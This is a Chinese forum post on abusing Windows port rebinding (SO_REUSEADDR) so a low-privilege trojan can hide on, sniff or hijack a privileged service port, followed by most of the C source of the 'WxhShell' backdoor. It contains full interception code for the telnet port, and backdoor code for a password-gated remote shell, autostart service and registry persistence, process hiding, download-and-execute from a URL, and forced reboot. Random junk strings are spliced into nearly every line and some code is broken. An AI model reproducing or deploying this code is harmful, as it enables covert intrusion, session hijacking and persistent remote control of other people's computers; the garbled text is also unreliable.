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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {,,w5/k^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f~9ADb  
@va6,^)  
  saddr.sin_family = AF_INET; 7|*|xLrVY  
(C1]R41'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D[ny%9 :  
"J$vt`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8 "|')f#  
#TRPq>XzD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s<tdn[d  
yo3'\I  
  这意味着什么?意味着可以进行如下的攻击: gFJd8#6t  
/&a[D 2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !'MZeiLP  
/=i^Bgh4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >$k_tC'"  
)~s(7 4`}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 os"o0?  
Busxg?=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }m(u o T~  
&*r YY\I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &?v^xAr?B  
QXniWJJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [.;VCk)0x  
l\JoWL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )FYz*:f>&  
NbSkauF~b  
  #include nz~3o  
  #include = T!iM2  
  #include eE+zL ~CE  
  #include    4cl}ouG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]& jXD=a"  
  int main() b1R%JY7/S  
  { 6l<q  
  WORD wVersionRequested; ==~X8k|{E  
  DWORD ret; 9H`Q |7g(5  
  WSADATA wsaData; {b}Ri&oEOH  
  BOOL val; ^F/N-!}q  
  SOCKADDR_IN saddr; _}8O15B|  
  SOCKADDR_IN scaddr; PH^AT<U:T  
  int err; !D!Q]M5oU  
  SOCKET s; zvL;.U  
  SOCKET sc; LY-fp+  
  int caddsize; ?l &S:` L  
  HANDLE mt; p$0G EYwM  
  DWORD tid;   IR(qjm\V  
  wVersionRequested = MAKEWORD( 2, 2 ); Lp.,:z7  
  err = WSAStartup( wVersionRequested, &wsaData );  km|;T!  
  if ( err != 0 ) { ] K3^0S/  
  printf("error!WSAStartup failed!\n"); /q0[T{Wz$  
  return -1; M|w;7P}  
  } P|Dw +lQj  
  saddr.sin_family = AF_INET; (3C::B=  
   |L 11?{ K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7LbBS:@3z_  
hQv~C4Wfrf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OTY9Q  
  saddr.sin_port = htons(23); Usx8  U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xrs?"]M[  
  { :<r.n "  
  printf("error!socket failed!\n"); ]6bh#N;.  
  return -1; +mIO*UQi  
  } v[E*K@6f  
  val = TRUE; L'iENZ I$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tURjIt,I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @G@,)`p4?  
  { )v !GiZ" 7  
  printf("error!setsockopt failed!\n"); mmE\=i~  
  return -1; MqDz cB]  
  } Z ]V^s8>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0JN>w^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G>& Tap>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9)9p<(b $  
hd^?mZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q$L=G  
  { >x]b"@Hkw  
  ret=GetLastError(); CoO..  
  printf("error!bind failed!\n"); gi\2bzWkbX  
  return -1; ^lud2x$O^C  
  } M=:!d$c  
  listen(s,2); ,@!io  
  while(1) -.<fGhmU  
  { ce7$r*@!  
  caddsize = sizeof(scaddr); +L03. rf  
  //接受连接请求 va 7I_J   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4 ;ybQ  
  if(sc!=INVALID_SOCKET) AqnDsr!  
  { )WuU?Tn&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Lj=%&  
  if(mt==NULL) ,j E'd'$  
  { Fjch<gAofS  
  printf("Thread Creat Failed!\n"); T;!: A  
  break; }-4@EC>  
  } RdaAS{>Sk  
  } Jmg<mjq/G  
  CloseHandle(mt); x8x8T $  
  } #[Z ToE4  
  closesocket(s); &B ?TX.  
  WSACleanup(); 3>asl54  
  return 0; Bu7Ztt*  
  }   {,xI|u2R  
  DWORD WINAPI ClientThread(LPVOID lpParam) $23*:)&J4  
  { >n3w'b  
  SOCKET ss = (SOCKET)lpParam; uy'm2  
  SOCKET sc; G8AT] =  
  unsigned char buf[4096]; paCC'*bv  
  SOCKADDR_IN saddr; Jy<hTd*q  
  long num; oHh~!#u  
  DWORD val; b* (~8JxZ  
  DWORD ret; ~C M%WvS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w(Jf;[o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bvn%E H  
  saddr.sin_family = AF_INET; X?'ShXI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "}ibH{$lM  
  saddr.sin_port = htons(23); y#tuwzE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K!~j}z*  
  { }\ kLh(  
  printf("error!socket failed!\n"); st4z+$L  
  return -1; 3mef;!q  
  } 8[v9|r  
  val = 100; ZW+M<G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {o>51fXc)  
  { w8veh[%3n  
  ret = GetLastError(); H#/ #yVw  
  return -1; q~:H>;:G-  
  } zP554Gr?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) im,H|u_f4  
  { n $Nb,/o  
  ret = GetLastError(); @}K|/  
  return -1; :)JIKP%$\)  
  } C?dQ QB$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J:D{5sE<|  
  { [7Fx#o=da  
  printf("error!socket connect failed!\n"); Y6W#u iqk  
  closesocket(sc); U)v){g3w)  
  closesocket(ss); 96ydcJY0'  
  return -1; @~p;.=1]F  
  } Z01BzIsR  
  while(1) S2+X/YeB  
  { )}!Z^ND*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oz8z%*9 (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dlv1liSXL5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &,*G}6wa;&  
  num = recv(ss,buf,4096,0); ?58,Ja  
  if(num>0) |; [XZ ZZ  
  send(sc,buf,num,0); mM#[XKOC<  
  else if(num==0) 6&9}M Oc  
  break; ` |uwR5  
  num = recv(sc,buf,4096,0); ;D8175px;  
  if(num>0) K%jh 6c8  
  send(ss,buf,num,0); OKo)p`BX  
  else if(num==0) Q H>e_  
  break; #!.26RM:P  
  } *C~$<VYI  
  closesocket(ss); mv,p*0  
  closesocket(sc); n3z]&J5fr  
  return 0 ; Z-U-n/6I  
  } WMi$ATq  
>PbB /->  
V Zz>)Kz:  
========================================================== ]nIH0k3y  
[LF<aR5  
下边附上一个代码,,WXhSHELL ;6)Onwx  
2#jBh   
========================================================== y/vGt_^;3<  
xcHuH -}  
#include "stdafx.h" QH5[}zs8  
y|b&Rup  
#include <stdio.h> HpKF7oJ'N  
#include <string.h> 7jS`4,  
#include <windows.h> `*Ju0)g1  
#include <winsock2.h> pLiGky  
#include <winsvc.h> 8pXului  
#include <urlmon.h> /LK,:6  
2%Mgg,/~  
#pragma comment (lib, "Ws2_32.lib") D$?}M>  
#pragma comment (lib, "urlmon.lib") [ !<  
9 $&$Fe  
#define MAX_USER   100 // 最大客户端连接数 -bP_jIZF;g  
#define BUF_SOCK   200 // sock buffer uN;]Fv@Z  
#define KEY_BUFF   255 // 输入 buffer O~*`YsL9  
P->.eo#VG  
#define REBOOT     0   // 重启 ,&F4|{  
#define SHUTDOWN   1   // 关机 sx^0*h-Qq  
< $>Jsv  
#define DEF_PORT   5000 // 监听端口 Bj`ZH~T  
F1A7l"X]  
#define REG_LEN     16   // 注册表键长度 CT0 ~  
#define SVC_LEN     80   // NT服务名长度 w7E7r?)Wl|  
+tCNJ<S@l$  
// 从dll定义API OD8{ /7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BcaX:C?f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dCn'IM1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Y]()#?Gr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0ZAT;eaB  
<=Z`]8  
// wxhshell配置信息 Jfs_9g5  
struct WSCFG { I xk+y?  
  int ws_port;         // 监听端口 MszX9wl  
  char ws_passstr[REG_LEN]; // 口令 al1Nmc #  
  int ws_autoins;       // 安装标记, 1=yes 0=no (#K u`  
  char ws_regname[REG_LEN]; // 注册表键名 $8{v_2C){  
  char ws_svcname[REG_LEN]; // 服务名 ^q}cy1"j"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zgn~UC6&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Hm>@dBhM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Oz1S*<]=,~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b haYbiX?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gp(: o$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f&2f8@  
eqQ=HT7J  
}; [bh8Nj\E  
/^\UB fE  
// default Wxhshell configuration Qq{>]5<  
struct WSCFG wscfg={DEF_PORT, %] #XIr  
    "xuhuanlingzhe", SL$ bV2T  
    1, GwM(E^AG  
    "Wxhshell", 2A(?9 R9&h  
    "Wxhshell", U][\|8i  
            "WxhShell Service", oYR OGU  
    "Wrsky Windows CmdShell Service", !v\ _<8  
    "Please Input Your Password: ", ),rd7GB>  
  1, w!--K9  
  "http://www.wrsky.com/wxhshell.exe", :406Oa  
  "Wxhshell.exe" SCL8.%z D  
    }; X:kr$  
&|YJ?},  
// 消息定义模块 Bm$(4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _^MkC} 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; * LOUf7`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1+ib(MJ<:#  
char *msg_ws_ext="\n\rExit."; hM "6-60  
char *msg_ws_end="\n\rQuit."; R>;m6Rb_  
char *msg_ws_boot="\n\rReboot..."; AD>X'J u8  
char *msg_ws_poff="\n\rShutdown..."; J.Fy0W@+k4  
char *msg_ws_down="\n\rSave to "; [4 y7tjar^  
rE?Fp  
char *msg_ws_err="\n\rErr!"; ,LodP%%UV  
char *msg_ws_ok="\n\rOK!"; U9(p ^  
Hw 1:zro  
char ExeFile[MAX_PATH]; y*<x@i+h  
int nUser = 0; 0K'^g0G  
HANDLE handles[MAX_USER]; ]AB'POa  
int OsIsNt; r7Zx<c  
(RU\a]Ry  
SERVICE_STATUS       serviceStatus; fP8iz `n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z,K;GZuP  
=berCV  
// 函数声明 f >$V:e([  
int Install(void); )8&;Q9'o  
int Uninstall(void); jBMGm"NE  
int DownloadFile(char *sURL, SOCKET wsh); V.|#2gC]t  
int Boot(int flag); 9D[Jn}E:  
void HideProc(void); 0WI@BSHnM  
int GetOsVer(void); 11YpC;[o  
int Wxhshell(SOCKET wsl); eufGU)M  
void TalkWithClient(void *cs); b <z)4  
int CmdShell(SOCKET sock); h/pm$9A  
int StartFromService(void); C @nA*  
int StartWxhshell(LPSTR lpCmdLine); I%M"I0FV  
`'G1"CX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1"wZ [.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8)bqN$*h  
UUR+PfY  
// 数据结构和表定义 u3vM!  
SERVICE_TABLE_ENTRY DispatchTable[] = <^da-b>C  
{ Xj5oHHwn  
{wscfg.ws_svcname, NTServiceMain}, uD4j.%  
{NULL, NULL} n5+Z|<3)  
}; *W-:]t3CR  
hl$X.O  
// 自我安装 ]x5+v0   
int Install(void) G$A=Tu~  
{ 0sfb$3y  
  char svExeFile[MAX_PATH]; v%@)I_6[P  
  HKEY key; KdXqW0nm  
  strcpy(svExeFile,ExeFile); *!MMl]gU?  
2bu>j1h  
// 如果是win9x系统,修改注册表设为自启动 h.jO3q  
if(!OsIsNt) { s8.SEk|pB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S LU$DW;t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y$y!{R@   
  RegCloseKey(key); R3|r` ~@@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X'J!.Jj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6~^ M<E  
  RegCloseKey(key); |*( R$tX  
  return 0; *CCh\+S7m  
    } VT [TE  
  } H b?0?^#  
} bbs'>D3  
else { Om_- #S  
CB^.N>'  
// 如果是NT以上系统,安装为系统服务 YL&)@h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q!y%N&  
if (schSCManager!=0) 2rxz<ck(  
{  &4{!5r  
  SC_HANDLE schService = CreateService ~@$RX: p  
  ( Sjp ]TWj  
  schSCManager, \b*z<Odv  
  wscfg.ws_svcname, "A]#KTP  
  wscfg.ws_svcdisp, yJ4ZB/ZQ  
  SERVICE_ALL_ACCESS, #QNa| f#=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y.$Ae1a=  
  SERVICE_AUTO_START, hQ (84u  
  SERVICE_ERROR_NORMAL, t76B0L{  
  svExeFile, SS6K7  
  NULL,  k`w /  
  NULL, GK=b  
  NULL, Xp[xO0  
  NULL, Z;y(D_;_  
  NULL Y?ZzFd,i&  
  ); NXX/JJ+w  
  if (schService!=0) l5/gM[0_7  
  { B \LmE+a>  
  CloseServiceHandle(schService); C}qHvwFm  
  CloseServiceHandle(schSCManager); mXs.@u/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #%g>^i={ky  
  strcat(svExeFile,wscfg.ws_svcname); G%ZP `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G|YNShK4=9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8j)*T9  
  RegCloseKey(key); _< KUa\  
  return 0; 8.:WMH`  
    } -B& Nou  
  } &grqRt  
  CloseServiceHandle(schSCManager); a}Z+"D  
}  ]0XlI;ah  
} b|-S;cw  
E>iN>  
return 1; xqb*;TBh*  
} ?I$-im  
c2gi 3  
// 自我卸载 [ 2PPa9F  
int Uninstall(void) ;0lY_ii  
{ _2TL>1KZt  
  HKEY key; 24u_}ZQzY  
55FRPNx-x  
if(!OsIsNt) { sC A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qrf90F)  
  RegDeleteValue(key,wscfg.ws_regname); szCB}WY  
  RegCloseKey(key); dNf:I,<DCf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tje(hnN  
  RegDeleteValue(key,wscfg.ws_regname); k [LV^oEg  
  RegCloseKey(key); Iz[ohn!f  
  return 0; wYr*('uT  
  } )-X/"d  
} e%EO/ 2"  
} msY6zJc`  
else { c:[ ZknnCe  
'Y.6sB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m(D+!I9  
if (schSCManager!=0) Y]tbwOle  
{ |`xM45  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RO@=&3s  
  if (schService!=0) (vp#?-i  
  { /+1(,S  
  if(DeleteService(schService)!=0) { p|?FA@ 3  
  CloseServiceHandle(schService); 0Py*%}r1  
  CloseServiceHandle(schSCManager); w+wtr[;wwL  
  return 0; d<6m_! L  
  } CXi[$nF3  
  CloseServiceHandle(schService);  md,KRE  
  } A$i^/hJs  
  CloseServiceHandle(schSCManager); q[GD K^-g  
} LmytO$?2(  
} fm L8n<1  
d8iq9AP\o  
return 1; 6bPl(.(3  
} 0U~*uDU  
Mi;Pv*  
// 从指定url下载文件 o{hX?,4i  
int DownloadFile(char *sURL, SOCKET wsh) B$n1 k 45  
{ OJd/#KFm  
  HRESULT hr; U(LLIyZv  
char seps[]= "/"; +~~2OUL  
char *token; 0HUylnXf0  
char *file; yO}5.  
char myURL[MAX_PATH]; G:3szz  
char myFILE[MAX_PATH]; 3=yfbO<-  
A$]s{`  
strcpy(myURL,sURL); k?$I4&|5Nt  
  token=strtok(myURL,seps); Cv}^]_`Q  
  while(token!=NULL) NWP!V@WG  
  { }=}wLm#&1  
    file=token; |B^Mj57DO  
  token=strtok(NULL,seps); JHXkQz[Jb  
  } yRIXUCy  
({Pjz;xM  
GetCurrentDirectory(MAX_PATH,myFILE); xW]65iav  
strcat(myFILE, "\\"); xK_oV+  
strcat(myFILE, file); ^,#m y<{  
  send(wsh,myFILE,strlen(myFILE),0); !JyY&D~`  
send(wsh,"...",3,0); S8Y\@C?5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l&}}Io$?@  
  if(hr==S_OK) Inn{mmz 1  
return 0; %pxO<O  
else *\(z"B  
return 1; v+I-*,R  
Io|D u  
} AL.psw-Il  
!=A;?Kdq  
// 系统电源模块 IrMB=pWo  
int Boot(int flag) i")0 3b  
{ UoPY:(?;i  
  HANDLE hToken; s*s~yH6  
  TOKEN_PRIVILEGES tkp; Q@7d:v  
Bp3E)l  
  if(OsIsNt) { zh|9\lf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JXM]tV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uKd4+Km  
    tkp.PrivilegeCount = 1; DY9]$h*y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OZ+v ~'oD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +[<YE  
if(flag==REBOOT) { AYgXqmH~+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fCwE1r*^  
  return 0; DU0/if9.  
} .] sJl  
else { ^lAM /  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8;V9%h`P>  
  return 0; tq}45{FH3  
} FY ms]bv  
  } I#&r5Q  
  else { ZZ7qSyBs?  
if(flag==REBOOT) { M `^[Y2 c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |1RVm?~i  
  return 0; ?oFd%|I  
} ](A2,F 9(U  
else { Xv|=RNz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xbm%+  
  return 0; #<S*MGp!=  
} sVK?sBs]  
} qD4]7"9  
S0)JIrrHC  
return 1; &CQO+Yr$l  
} Y.\x.Hg  
$[A\i<#  
// win9x进程隐藏模块 K5jt(7i  
void HideProc(void) Aj)Q#Fd[  
{ =c'4rJ$+  
F5Z,Jmi^M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d=PX}o^  
  if ( hKernel != NULL ) _r*\ BM8y  
  { jYFJk&c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [/CGV8+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a:fP  
    FreeLibrary(hKernel); U}RBgPX!  
  } m{/( 3  
<Gi%+I@szl  
return; + cfEyiub  
} z* EV>Y[  
MLu!8dgI  
// 获取操作系统版本 d_,5;M^k  
int GetOsVer(void) ];OvV ,*  
{ #*'Qm  A  
  OSVERSIONINFO winfo; Dz(\ ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (4T0U5jgT  
  GetVersionEx(&winfo); 5e /YEDP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x,!Dd  
  return 1; 1)56ec<c  
  else sD:o 2(G*  
  return 0; @ph!3<(In,  
} Lwr's'ao.  
~v+kO~  
// 客户端句柄模块  u]P|  
int Wxhshell(SOCKET wsl) z3jk xWAZ  
{ 6^wI^`NI  
  SOCKET wsh;  X0VS a{  
  struct sockaddr_in client; mdWA5p(  
  DWORD myID; V4n~Z+k  
GtVT^u_   
  while(nUser<MAX_USER) H#~gx_^U  
{ P>V oA  
  int nSize=sizeof(client); )*~A|[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1f`De`zXzr  
  if(wsh==INVALID_SOCKET) return 1; "bm|p/A  
m2c'r3UEu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BDB*>y7(  
if(handles[nUser]==0) ;=Ma+d#  
  closesocket(wsh); C\EIaLN<  
else 7$'AH:K  
  nUser++; jk9f{Iu  
  } 6ZqU:^3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bj pruJ`=  
RdYmh>c  
  return 0; EtKq.<SJ  
} j_~KD}  
2R[v*i^S  
// 关闭 socket /jG?PZ=m  
void CloseIt(SOCKET wsh) }a7d(7  
{ (/e&m=~  
closesocket(wsh); R2,9%!iiX  
nUser--; m+<&NDj.  
ExitThread(0); #\0m(v  
} T/_u;My;  
BJj'91B[d  
// 客户端请求句柄 D&G6^ME  
void TalkWithClient(void *cs)  E^1yU  
{  }QFL  
~"#0rPT  
  SOCKET wsh=(SOCKET)cs; ?veeW6E(  
  char pwd[SVC_LEN]; ,/\`Rc^n  
  char cmd[KEY_BUFF]; oY)eN?c  
char chr[1]; h>/teHy /  
int i,j; ?zW'Hi  
A2|Bbqd  
  while (nUser < MAX_USER) { g:o/^_  
V<QpC5  
if(wscfg.ws_passstr) { ~}.C*;J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x?Abk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y, l[v39  
  //ZeroMemory(pwd,KEY_BUFF); n-Iz!;q  
      i=0; Kh]es,$D  
  while(i<SVC_LEN) { D+]mKPB  
q+?&w'8  
  // 设置超时 a*P v^Np-v  
  fd_set FdRead; 7Qd4L.  
  struct timeval TimeOut; *k{Llq  
  FD_ZERO(&FdRead); h`&TDB2  
  FD_SET(wsh,&FdRead); ^?cu9S3  
  TimeOut.tv_sec=8; yu;EL>G_AY  
  TimeOut.tv_usec=0; [V'c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Te\6qM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tn7Mt7h  
Y~UuT8-c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y25`vE(  
  pwd=chr[0]; D!`[fjs6A  
  if(chr[0]==0xd || chr[0]==0xa) { ef)RlzL Oq  
  pwd=0; xV> .]  
  break; ht -'O"d:  
  } REh"/d  
  i++; 8W&1"h`  
    } K *@?BE  
k79OMf<v  
  // 如果是非法用户,关闭 socket 3f`Uoh+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K)'[^V Xh  
} )I%M]K]F  
+~V%R{h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T<uX[BO-a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S Qmn*CW  
{!I`EN]  
while(1) { mI&3y9; (  
rEa(1(I  
  ZeroMemory(cmd,KEY_BUFF); QbJ7$ ,4  
f7&ni#^Ztj  
      // 自动支持客户端 telnet标准   GgpE"M?  
  j=0; fzJiW@-T  
  while(j<KEY_BUFF) { 59.$;Ip;g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]3v)3Wp  
  cmd[j]=chr[0]; u>'0Xo9R  
  if(chr[0]==0xa || chr[0]==0xd) { +3))G  
  cmd[j]=0; ]xS%E r  
  break; ie1~QQ  
  } WI1Y P0V  
  j++; WL+EpNKSf  
    } ;6 V~yB  
C6>_ wl]  
  // 下载文件 G? SPz  
  if(strstr(cmd,"http://")) { > )4~,-;k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( #dR\Di  
  if(DownloadFile(cmd,wsh)) jZ~girA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6u^hG6~'  
  else Mc?_2<u-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Dr\ O_`u  
  } 3cJ'tRsp<  
  else { #?Ix6 {R  
1feVFRx'  
    switch(cmd[0]) { Aw7N'0K9UN  
  R&!;(k0  
  // 帮助 Wps^wY  
  case '?': { DcxT6[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5%TSUU+<I  
    break; &&;.7E  
  } e/4C` J-  
  // 安装 m+M^we*R  
  case 'i': { HL{aqT2  
    if(Install()) BD"Dzq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`flIG3RV  
    else remc_}`w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i6bUJtL  
    break; e\}@w1  
    } Csu9u'.V  
  // 卸载 U/Cc!WXV]  
  case 'r': { +wj}x?ZeV  
    if(Uninstall()) fhg'4FO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/16EuH#  
    else EwBrOq`C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 13@e mb  
    break; :"y2u   
    } h7eb/xEto  
  // 显示 wxhshell 所在路径 RSAGSGp  
  case 'p': { +184|nJ<2  
    char svExeFile[MAX_PATH]; /Igz[P^\9  
    strcpy(svExeFile,"\n\r"); \FO`WUAF  
      strcat(svExeFile,ExeFile); ]HWeVhG  
        send(wsh,svExeFile,strlen(svExeFile),0); GYtgw9 "Y  
    break; )-I/ej^  
    } ]R~hzo  
  // 重启 GN(,`y  
  case 'b': { +/_XSo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iklZ[G%A0  
    if(Boot(REBOOT))  }se3y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |7 K>`  
    else { #y&5pP:@  
    closesocket(wsh); -I4@6v E,  
    ExitThread(0); <XrXs  
    } e6*,MnqBh  
    break; |Fx *,91  
    } xm=Gt$>.o  
  // 关机 sw9ri}oc  
  case 'd': { D<70rBf2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n"?*"Ya  
    if(Boot(SHUTDOWN)) ~|<'@B!6  
